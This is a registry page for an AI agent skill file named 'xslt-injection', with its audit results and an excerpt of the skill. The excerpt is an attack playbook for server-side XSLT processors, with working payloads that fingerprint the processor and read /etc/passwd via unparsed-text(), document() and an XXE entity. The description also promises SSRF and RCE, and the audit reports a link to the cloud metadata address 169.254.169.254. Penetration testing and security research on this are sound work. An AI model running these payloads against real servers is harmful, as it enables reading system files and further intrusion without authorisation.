xslt-injection SKILL.md skillB
xslt-injection from dreadnode/capabilities is an agent skill: a SKILL.md folder an AI agent loads when a task calls for it.
mdr add dreadnode/capabilities/xslt-injection@git:20260518.7b5f854Pins git:20260518.7b5f854 in mdr.lock. Pin the fingerprint instead.
- Audit grade
- B, 16 of 17 checks passed
- Kind
- SKILL.md skill
- Repository
- dreadnode/capabilities
- Path
capabilities/web-security/skills/xslt-injection/SKILL.md- Versions recorded
- 1
- Latest version
- git:20260518.7b5f854, committed May 18, 2026
- Size
- 3,222 bytes
- Repository stars
- 22
- License
- MIT
Exploit XSLT processor injection for file read, SSRF, and RCE. Use when target processes XML with user-influenced stylesheets — file upload, PDF generation, XML transformation endpoints.
Collected from public GitHub. Every version is saved exactly as it was and never changes. Install it at an exact version with the mdr tool, and every file is checked before it reaches your agent. The main file is checked against the SHA-256 fingerprint recorded here, and the others against the fingerprints GitHub keeps for its source commit. The automatic checks below grade the latest version, and the same checks always give the same file the same grade.
What the file says
# XSLT Injection
User input reaches an XSLT stylesheet processed server-side. Capabilities depend on processor and version — fingerprint first, then escalate.
## Entry Points
- File upload accepting `.xsl`/`.xslt`
- Parameters controlling stylesheet selection or content
- XML processing with external stylesheet references
- PDF/document generation from XML input
## Step 1: Fingerprint Processor
```xml
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
<xsl:template match="/">
Version: <xsl:value-of select="system-property('xsl:version')"/>
Vendor: <xsl:value-of select="system-property('xsl:vendor')"/>
<xsl:if test="system-property('xsl:product-name')">
Product: <xsl:value-of select="system-property('xsl:product-name')"/>
</xsl:if>
</xsl:template>
</xsl:stylesheet>
```
## Step 2: File Read (pick method by capability)
**`unparsed-text()` — XSLT 2.0+ (Saxon)**
```xml
<xsl:value-of select="unparsed-text('/etc/passwd', 'utf-8')"/>
```
**`document()` — All versions**
```xml
<xsl:value-of select="document('/etc/passwd')"/>
```
**XXE entity — when DTD processing enabled**
```xml
<!DOCTYPE x [<!ENTITY xxe SYSTEM "/etc/passwd">]>
...
&xxe;
```
…Read the whole file at its exact version.
How to install
mdr add dreadnode/capabilities/xslt-injection@sha256:6734fc5470d57b70The line at the top of this page pins the label git:20260518.7b5f854, which is what most people want. This one pins the sha256 fingerprint of the contents instead, so it survives a label being moved. Either way the exact version is written to mdr.lock, and mdr install downloads and checks those contents again, so it installs them exactly or stops with an error.
[](https://markdownregistry.com/a/art_f46yg4groxhvbdc2)
3 badge image fetches in 30 days. What the badge shows.
Versions
The registry has recorded 1 version of this file, committed on May 18, 2026.
Audit of the latest version
- fail: No link to a raw IP address (matched: http://169.254.169.254)
- pass: Frontmatter block present
- pass: Frontmatter declares a name
- pass: Frontmatter declares a description
- pass: Size between 200 bytes and 200 KB (3222 bytes)
- pass: No zero-width or bidi control characters
- pass: No instruction hidden inside an HTML comment
- pass: No link to an exfiltration or paste host
- pass: No credential-shaped string
- pass: No instruction to send local credentials anywhere
- pass: No text hidden with inline styles
- pass: No prompt-injection phrasing
- pass: No curl or wget piped into a shell
- pass: No recursive delete of root, home or parent
- pass: No instruction to read or print local credentials
- pass: No base64 blob over 200 characters
- pass: No script tag
Starting a new one? Use a template for SKILL.md on mdpantry, which passes every one of these checks and says what to change in it.
Source
dreadnode/capabilities · 22 stars · license MIT · pushed 2026-11-02 · branch main
API
GET https://markdownregistry.com/api/v1/artifacts/art_f46yg4groxhvbdc2 GET https://markdownregistry.com/api/v1/resolve?ref=dreadnode/capabilities/xslt-injection GET https://markdownregistry.com/api/v1/blob/6734fc5470d57b706e57c03c66a3ba42ac9d82be75ff00e738c50f630bd96905
Your AI assistant does the legwork. You hear about the deals worth your word. Hand yours the standing instructions at modelranch.com and it joins the network that reads files like this one.
Guides: the SKILL.md format and its required fields · what to check before you install a skill · how to pin a skill to an exact version · where to find agent skills · keeping a team on the same skills · which agent file does what.